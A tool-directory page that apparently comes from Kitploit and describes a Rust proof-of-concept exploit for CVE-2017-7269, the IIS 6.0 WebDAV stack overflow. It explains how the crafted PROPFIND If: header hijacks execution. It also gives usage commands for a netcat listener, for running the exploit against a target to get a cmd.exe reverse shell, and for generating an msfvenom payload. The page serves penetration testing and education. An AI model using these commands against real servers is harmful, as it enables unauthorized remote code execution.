Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-7269 — A Rust implementation of the POC for CVE-2017-7269, targeting the WebDAV service in Microsoft Internet Information Services (IIS) 6.0. | Kitploit
Tools/GitHubGitHub/nika0x38/cve-2017-7269
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubnika0x38/cve-2017-7269

CVE-2017-7269

A Rust implementation of the POC for CVE-2017-7269, targeting the WebDAV service in Microsoft Internet Information Services (IIS) 6.0.

View Repository
1211 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2017-7269 - IIS 6.0 WebDAV Buffer Overflow

RustSecurity

A Rust implementation of the POC for CVE-2017-7269, targeting the WebDAV service in Microsoft Internet Information Services (IIS) 6.0.

Vulnerability Overview

CVE-2017-7269 is a critical stack-based buffer overflow vulnerability found in the WebDAV service of Microsoft IIS 6.0, which was shipped with Windows Server 2003 R2. A successful exploit allows an unauthenticated attacker to achieve remote code execution on the target server.

Technical Details

  • Vulnerable Component: httpext.dll (IIS WebDAV Extension)
  • Vulnerable Function: ScStoragePathFromUrl
  • Trigger: A specially crafted PROPFIND HTTP request.
  • Attack Vector: An overly long If: header containing multiple URLs.
  • Description

    The vulnerability is a classic stack buffer overflow. It is triggered when the ScStoragePathFromUrl function processes a PROPFIND request containing a malicious If: header.

    This exploit crafts such a header with a long string of bytes, which overflows the buffer allocated on the stack. This overflow overwrites critical stack data, including the saved return address (EIP). The exploit hijacks the program's execution flow by pointing this return address to a small initial shellcode payload also located within the malicious header. This first-stage shellcode's job is to find and execute the main payload, a reverse shell, which is sent in the body of the same HTTP request. This POC successfully demonstrates remote code execution by connecting a cmd.exe shell back to an attacker-controlled listener.

    Usage

    Example 1: Built-in reverse shell

    1. Prepare a listener (adjust the port to match --lport):

      root@kitploit:~
      nc -lvnp <attacker-port>
      
    2. Run the exploit with embedded shellcode:

      root@kitploit:~
      cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
      

      The tool patches the WSA shellcode on the fly using LHOST/LPORT and delivers it in the HTTP body. When the target is vulnerable, your listener will receive a reverse shell from cmd.exe.

    Example 2: External payload but not recommended (--payload)

    1. Craft a raw payload

      root@kitploit:~
      msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
      
    2. Deliver the payload (no need for --lhost/--lport because the shellcode already encodes that information):

      root@kitploit:~
      cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
      
    3. Handle the callback in the same listener as before. Since the binary simply streams the provided bytes, the exact behaviour depends on the payload you generated.

    Disclaimer

    This tool is for educational and authorized penetration testing purposes only. Use responsibly and only on systems you own or have explicit permission to.

    Download Tool